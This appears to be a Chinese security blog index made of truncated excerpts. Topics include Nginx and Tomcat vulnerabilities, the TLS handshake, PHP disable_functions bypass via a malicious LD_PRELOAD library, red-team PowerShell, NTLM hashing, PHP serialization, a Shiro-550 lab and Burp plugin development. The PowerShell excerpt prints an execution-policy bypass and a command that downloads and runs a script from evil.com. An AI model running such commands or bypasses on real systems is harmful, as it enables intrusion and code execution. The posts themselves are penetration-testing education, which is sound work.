网络安全
未读以下是Nginx常见的历史漏洞及配置错误导致的安全问题,按类型和影响分类整理:
一、解析类漏洞
文件名逻辑漏洞(CVE-2013-4547)
影响版本:Nginx 0.8.411.4.3 / 1.5.01.5.7
原理:错误解析URI中的空格(0x20)和空字节(0x00),导致攻击者可通过构造文件名(如1.jpg[空格][空字节].php)绕过安全检查,使非PHP文件被解析为PHP执行。
利用场景:上传恶意文件后,通过修改请求头触发解析漏洞。
配置不当导致的PHP解析漏洞
影响范围:与Nginx和PHP版本无关,因cgi.fix_pathinfo默认开启(值为1)。
原理:Nginx将.php结尾的请求直接转发给PHP处理,即使文件路径中.php部分不存在。例如,访问/test.jpg/.php时,test.jpg会被当作PHP解析。
%00截断解析漏洞
影响版本:Nginx 0.5.x、0.6.x、0.7≤0.7.65、0.8≤0.8.37
原理:利用URL中的空字节(%00)截断路径解析,例如访问/test.jpg%00.php,使 ...
一.HTTPS SSL/TLSHTTPS通过SSL/TLS协议实现安全通信,其核心在于握手阶段的加密协商和密钥交换,随后使用对称加密传输数据。以下是详细的流程和加密原理:
TLS1.2 密钥协商流程
ClientHello
客户端向服务器发送支持的TLS版本、可用加密套件列表(如TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256)及一个客户端随机数(Client Random)。
ServerHello
服务器选择TLS版本、加密套件,并生成服务器随机数(Server Random),返回给客户端。
证书与密钥交换参数
证书传输:服务器发送数字证书(包含公钥和CA签名),客户端验证证书的合法性(CA信任链、有效期、域名匹配等)。
ServerKeyExchange(可选):若使用ECDHE等算法,服务器发送临时公钥参数(如椭圆曲线参数)和签名,确保参数未被篡改。
ServerHelloDone:通知客户端初始握手信息发送完毕。
客户端密钥交换
验证证书:客户端验证服务器证书后,生成预主密钥 ...
网络安全
未读以下是Tomcat中间件的主要安全漏洞及其详细信息,基于公开披露的CVE编号和漏洞报告整理:
Tomcat常见漏洞汇总1. 远程代码执行漏洞(CVE-2025-24813)
影响版本:Apache Tomcat 9.0.0-M1 至 9.0.98Apache Tomcat 10.1.0-M1 至 10.1.34Apache Tomcat 11.0.0-M1 至 11.0.2
漏洞原理:默认Servlet的写入功能启用后(默认禁用),攻击者可通过部分PUT请求上传恶意序列化会话文件,结合Tomcat的基于文件会话持久化机制触发反序列化,实现远程代码执行(RCE)或信息泄露。
修复建议:升级至Tomcat 9.0.99、10.1.35或11.0.3。
关键词:PUT文件上传、反序列化
2. PUT方法任意文件写入漏洞(CVE-2017-12615)
影响版本:Apache Tomcat 7.0.0 – 7.0.81Apache Tomcat 8.5.19(部分配置下)
漏洞原理:若web.xml中readonly参数设置为false,攻击者可通过PUT请求上传恶意JSP文 ...
以下是绕过 PHP disable_functions 限制的完整方案,逐步说明如何在内网攻击中实现网络请求:
绕过 disable_functions 的终极方案1. 确认禁用函数列表首先通过 phpinfo() 或以下脚本获取被禁用的函数:
12<?phpecho "禁用函数:" . ini_get('disable_functions');
2. 基于可用函数的绕过方法根据未被禁用的函数选择对应策略:
方案一:利用 LD_PRELOAD + mail() 组合适用条件:
mail() 函数可用
可上传 .so 文件(Linux)或编写自定义库
步骤:
编写恶意共享库(bypass.c):
12345678910111213141516171819202122232425#include <stdlib.h>#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/ine ...
网络安全
未读1.环境安装1.1.PHP+IDE安装
Windows-php下载地址。
配置环境变量。
安装PHPSTORM
配置项目解释器
1.2.Composer安装
Composer下载
设置国内镜像
1composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
可能遇到composer ssl问题,在ini中添加openssl扩展extension=openssl
创建thinkphp项目
1composer create-project topthink/think=6.0.* tp60 --ignore-platform-reqs
1.3.Xdebug安装
下载Xdebug
配置Xdebug
配置php.ini文件
123456789101112131415[Xdebug]zend_extension=D:/Language/PHP/php7.3.4nts/ext/php_xdebug.dll ;下载的对应版本的Xdebug文件xdebug.collect_pa ...
网络安全
未读在渗透测试红队中,PowerShell 是一个强大的工具,因其深度集成于 Windows 系统且灵活性高,常用于信息收集、权限提升、横向移动和持久化攻击。以下是 PowerShell 的基础知识和红队常用技巧:
一、红队PowerShell1. PowerShell 基础基本概念
**PowerShell (PS)**:基于 .NET 的脚本语言和命令行工具,支持自动化任务和系统管理。
Cmdlet:PowerShell 内置命令(如 Get-Process、Copy-Item)。
脚本文件:扩展名为 .ps1,可通过命令行执行。
执行策略:控制脚本运行权限,默认限制严格(Restricted)。
常用命令
执行脚本:powershell -ExecutionPolicy Bypass -File script.ps1
绕过执行策略:1powershell -ep bypass
远程下载并执行:1IEX (New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')
2. 红队常 ...
网络安全
未读Windows认证1.Windows本地认证
Administrator
登陆系统时从sam文件中读取密码哈希和用户输入的密码进行NTLM HASH进行比对。
2.我的密码在哪?
路径%System%\System32\config\SAM
3.NTLM (NT LAN Manager) HASH
32位 数字+字母(和md5长度一致)
Windows本身不存储用户的明文密码
4.NTLM Hash产生流程1. 输入预处理:密码转 Unicode 编码
原始密码:用户输入的明文密码(例如 Password123)。
编码规则:将密码转换为 UTF-16 Little Endian (LE) 格式的字节序列。
12# 示例:密码 "Password123" 的 UTF-16LE 编码bytes = "P\0a\0s\0s\0w\0o\0r\0d\0123\0".hex() # 每个字符占 2 字节(含空终止符)
2. 计算 MD4 散列值
算法选择:使用 MD4 算法(已被证明不安全,但 NTLMv1/v2 仍依赖此设计)。 ...
以下是 PHP 中序列化(Serialization)与反序列化(Unserialization)的基础知识总结:
1. 序列化(Serialization)
定义:将数据结构或对象转换为可存储或传输的字符串格式(二进制安全)。
函数:serialize($data)
支持类型:基本类型(int、string、bool、float、null)、数组、对象。
对象序列化:
序列化对象时会保存类的名称、属性和值(不包括方法)。
如果类定义了魔术方法 __sleep(),序列化时会自动调用该方法,可以指定需要序列化的属性列表。
12345678910111213141516171819class User { public $name; private $password; public function __construct($name, $password) { $this->name = $name; $this->password = $password; } // 定义 _ ...
1.shiro5501.1.环境搭建
getcode
123git clone https://github.com/apache/shiro.gitcd shiro git checkout shiro-root-1.2.4
编辑父项目pom文件,将jstl版本修改为1.2
123456<dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope></dependency>
配置tomcat
tomcat历史版本下载地址:http://archive.apache.org/dist/tomcat/
修复工件,部署samples-web:war exploded,exploded表示默认展开的war包,多数用于开发测试环境。
1.2.测试1. ...
1.WEB JS逆向出密钥和算法以及签名
通过前端JS逆向发现请求响应都使用的是SM4加密算法。且跟踪代码后发现密钥在前端进行了硬编码
而签名逻辑为url+body参数+‘-’+url参数+请求方法,最后替换掉斜线
2.复现完整加解密和签名逻辑
首先对加密数据进行BASE64解码为二进制数据,然后进行SM4ECB解密。加密就反过来即可。
签名逻辑复现
3.编写插件3.1.新建IDEA Maven项目
我这里采用的是Maven项目,如果想用Groovy构建的也可以,Groovy构建的更快,官方也是用的Groovy,不过我用的不够熟悉,有时候构建容易出问题,所以我这采用Maven构建。需要注意的是JDK版本一定要是JAVA17版本以上的,因为我们这使用的是新版本的montoya-api,而不是老版本的API,所以必须使用高版本JAVA。
pom文件配置
需要导入的是bp插件的API依赖两个,
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647 ...